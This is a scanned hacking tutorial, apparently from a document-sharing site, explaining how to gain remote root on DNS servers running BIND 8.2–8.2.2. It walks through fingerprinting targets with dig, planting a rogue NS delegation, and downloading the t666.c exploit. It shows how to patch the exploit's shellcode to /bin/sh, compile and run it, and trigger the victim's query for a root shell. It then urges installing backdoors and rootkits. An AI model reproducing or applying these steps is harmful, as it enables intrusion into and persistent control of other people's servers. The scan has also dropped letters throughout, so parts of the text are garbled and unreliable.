You are on page 1of 6

+-------------------------------------------------------+ |BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind| +-------------------------------------------------------+ (A) What is a DNS? 1.

How do I query a DNS? 2. How do I find a vulnerable DNS? (B) How do I edit DNS entries? 1. How do I find a Zone file? 2. How do I edit a Zone file? (C) How do I exploit a vulnerable machine 1. 2. 3. 4. 5. 6. 7. 8. 9. What do I need to obtain before I could use the exploit? What is the theory behind the exploit? Where do I get the exploit from? Why should I patch the exploit? How do I patch the exploit? How do I compile the exploit? How do I run the exploit? How do I ma e the vulnerable server ma e a query to my ip? What should I do before I leave the shell?

(D) Who should be credited for this HowTo? 1. 2. 3. 4. Who is the person that motivated me into writing this? Who am I? Can I distribute/change this HowTo? Final Credits and Greets :)

Section A - What is a DNS? -------------------------A DNS - Domain Name Server, is used to convert host names to IP addresses and IP addresses to host names. for example: www.infosee .com = 204.162.96.173 1. How do I query a DNS? First of all, you should probably now that when you configure your TCP/IP and wish to use hostnames in your web browser to get to a web site, instead of typing the IP address of that site, you would need to configure a DNS server. You will get your DNS server IP address from your ISP. To ma e queries to the DNS server, Unix systems (and NT) has a tool calls "nsloo up", the syntax of that tool is: $nsloo up <hostname> or $nsloo up <ip> A properly configured DNS server contains two "lists" for a domain called the Zone files. One zone file is used for hostname to IP resolution, and the other is used for reverse loo up or IP to Hostname resolution. "nsloo up" can be used in an interactive way, this is the

way we will wor with, as it is more powerful. Just type nsloo up at the shell and press enter. You will get a ">" prompt, from which you can start typing in IP addresses and hostnames. There are some commands in nsloo up which we will discuss later in this howto that will allow you to get some more information. 2. How do I find vulnerable systems? Remember, we will exploit Name Servers. We first need to find out the version of the DNS service that runs on a remote host. As well, we will need to now the Operating System, but there are many HowTo`s on that. We will use a tool called "dig", which is available on most Unix systems. The syntax loo s li e this: $dig @<victim_ip> version.bind chaos txt | grep \"8 loo at the output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is vulnerable. If you see 8.2.2P2 - P5, it is not. If you don't get an output and you just see your terminal stuc , it means that the DNS admin has probably edited the source so that the server won't give you this information. IT COULD BE VULNERABLE. Section B - How do I edit DNS entries? -------------------------------------The first thing you should now is, DNS is only text files, and entries are added or changed by editing those text files and restarting the service. The main file that controls the DNS service is /etc/named.conf or /etc/named.boot. If /etc/named.conf exists, that is the file you should be wor ing with. 1. How do I find a Zone file? As I said earlier, a properly configured DNS has two "lists" or zone files for each domain it serves. you will need to edit that zone file to change or add entries to that domain. A domain is for example, infosee .com, and a hostname is www, the FQDN is www.infosee .com. FQDN stands for Fully Qualified Domain Name. To find the zone file for FQDN to IP for infosee .com domain, we should first query our DNS server to tell us what is the primary DNS for infosee .com. This is how it is done: $nsloo up Default Server: xxxxxx.xxxxxxx.xx.xx Address: xxx.xx.xx.xx >set q=ns<ENTER> >infosee .com<ENTER> >infosee .com nameserver = NS-UU.infosee .com >NS-UU.infosee .com internet address = 198.5.208.3 As you can see, now we have the ip address of the name server of infosee .com. Let us suppose that we are root there. We SSH to their DNS, and locate the file /etc/named.conf We view the file and we see at the top an options section. there is a line there that says: directory "/var/named" This means, that the zone files will sit in /var/named. We further loo down the file and we see some zone sections, We see a zone for infosee .com which loo s li e: zone "infosee .com"{ type master; file "infosee .com.zone";

}; As we can understand now, the zone file is: /var/named/infosee .com.zone, and that is the file which we should edit. 2. How do I edit a Zone file? First, let's ta e a loo at that zone file. We see at the top a SOA record, which probably loo s to you li e a bloc of garbage text at the top. then, we see something li e:

As we can see, there are several types of records, for our exploit to wor , we only need to focus on one record, which is NS. An A record is the typical Hostname to IP record type. CNAME is a Canonical Name, which is an Alias to an A record. A PTR record is a Pointer record, which is the oposit of A, it points IP addresses to FQDN`s. PTR`s are used in the "other" zone file. We will not discuss about it here but it is recommended that you read about DNS, there are many good boo s about DNS out there, read one. An NS record is a Name Server record type which says what is the Name Server for a specific domain or sub-domain. As you might have noticed, the NS record NS-UU.infosee .com ends with a ".". This is because we specified the FQDN and not the hostname. When the period is omitted, the domain name is added after the hostname and if we where to omit the last period, it would be li e we have said: NS-UU.infosee .com.infosee .com. So instead of: www IN we could write: www.infosee .com. IN Which is the same thing. A A 204.192.96.173 204.192.96.173

For our exploit to wor , we will need to add a sub-domain to a name server on the net. So let's again suppose that we are root at NS-UU.infosee .com. How do we add a sub-domain? We just need to add another NS record.

this means that the name server of the domain subdomain.infosee .com would be hac er.box.com. hac er.box.com needs to be resolved to a your machine's IP address, so enter your FQDN instead. Now, we need to restart the name server so the changes will ta e effect. initiate the following command:

subdomain

IN

NS

hac er.box.com.

@ www ftp corp-bbn . . .

IN IN IN IN

NS A CNAME A

NS-UU.infosee .com. 204.192.96.173 corp-bbn 204.192.96.2

#/usr/sbin/ndc restart<ENTER> new pid is 24654 # Section C - How do I exploit a vulnerable machine ------------------------------------------------1. What do I need to obtain before I could use the exploit? First of all, 3 brain cells. ;p You will also need root privileges on a PRIMARY Name Server on the Internet which is Authoritative for a Domain on the net. Also, you will need a machine from which you will run the exploit. As for the DNS requirement, you could also as someone that has root privileges on such a DNS, to edit the zone files for you. 2. What is the theory behind the exploit? The exploit uses a Buffed Overflow in BIND versions 8.2 - 8.2.2 to gain a remote root shell. The exploit binds to port 53 on the local machine, and acts as a DNS server. When someone queries it, it will send a large NXT record that contains code that will exploit the remote BIND server, provided that it is a vulnerable machine. To get more information on how Buffer Overflows wor , *PLEASE* read Aleph One`s exelent article: Phrac 49 Article 14 - Smashing The Stac For Fun And Profit. URL: http://www.phrac .com/search.phtml?view&article=p49-14 3. Where do I get the exploit from? http://www.hac .co.za/daem0n/named/t666.c 4. Why should I patch the exploit? You might have heard that one needs to patch the exploit to ma e it wor . This is because ADM thought only elite hax0rs should use their exploit and so, they planted a small "bug" in the code. What they actually did, is change the shell codes so that instead of running /bin/sh, the exploit will run /adm/sh. 5. How do I patch the exploit? As you may see, only a small change needs to be done in the code. / a d m / = = = = = 2F(HEX) 61(HEX) 64(HEX) 6D(HEX) 2F(HEX) ===> ===> ===> ===> ===> / b i n / = = = = = 2F(HEX) 62(HEX) 69(HEX) 6E(HEX) 2F(HEX)

So, all we need to do, is search the source code for 0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x69,0x6e,0x2f Done. 6. How do I compile the exploit? As always: $gcc t666.c -o t666<ENTER> $ 7. How do I run the exploit?

$su<ENTER> Password:<password><ENTER> #./t666 1<ENTER> Now the exploit is bound to port 53 (if you run a DNS server on the machine you want to run the exploit on, you must first ill the name server, use: # illall -9 named) The exploit is now waiting for queries, the second someone will query your exploit machine you will get an output: Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1 If it was a DNS server, it would enter a proxy loop, and if it is a vulnerable server, running on Linux Redhat 6.x - named 8.2/8.2.1 (from rpm) (this is because we chose architecture 1, type ./t666 without arguments and you will get a list of the architectures that the exploit will wor on, I have tried it on Redhat linux only, so don't as me why solaris doesn't wor , I don't have a solaris to test it on, nor do I have the time to put more effort on this exploit.) You will get a remote root shell. 8. How do I ma e the vulnerable server ma e a query to my ip? This is very easy now, once you have added a subdomain in a name server on the net and made yourself its DNS, the only thing left to do, is query the vulnerable server for a host inside the added subdomain. $nsloo up >server <victim><ENTER> >www.subdomain.infosee .com<ENTER> What will happen, is the server will as , in this case NS-UU.infosee .com for the IP of www.subdomain.infosee .com. NS-UU.infosee .com will start searching and will get to subdomain, because subdomain has its OWN NS record, it will tell <victim> that hac er.box.com. (your hostname in this case) is the Authoritative Name Server for subdomain.infosee .com. Now, what will happen, is that <victim> will query hac er.box.com, for the ip address of www.subdomain.infosee .com. BOOM! :) 9. What should I do before I leave the shell? When you exploit BIND, it will crash named, so you need to add some ind of a bac door so you could log bac in and restart it. *DO NOT TRY TO RESTART IT WHITHIN THE SHELL.* There are plenty of trojans and root its you could install on the server, I leave that to you. Section D - Who should be credited for this HowTo? -------------------------------------------------1. who is the person that motivated me into writing this? That person is no other the gov-boi, he operates the great site www.hac .co.za. Without him, this How-To would have never been writen! Than s Gov-Boi :) 2. whoami? I am E-Mind, you can find me on IRC (EFNet) I am not giving away my E-Mail, and will not answer stupied questions. I thin I have provided everything you need to RUN the exploit in this How-To. If not, and if you find errors, PLEASE /msg me on IRC.

3. can I distribute/change this HowTo? I ta e no responsibility for your actions. You are free to do whatever you want with this file *AS LONG AS "SECTION D" REMAINS UNTOUCHED* 4. Final Credits and Greets :) Credits: Gov-Boi - Keep up the good wor man! ;p Aleph One - no other article out there explains buffer overflows better then yours! ADM - for writing this cool exploit. Greetz: #myth!, #!glich, #972, #dar net, #feed-the-goats - `sup guyz? ;] EOF

You might also like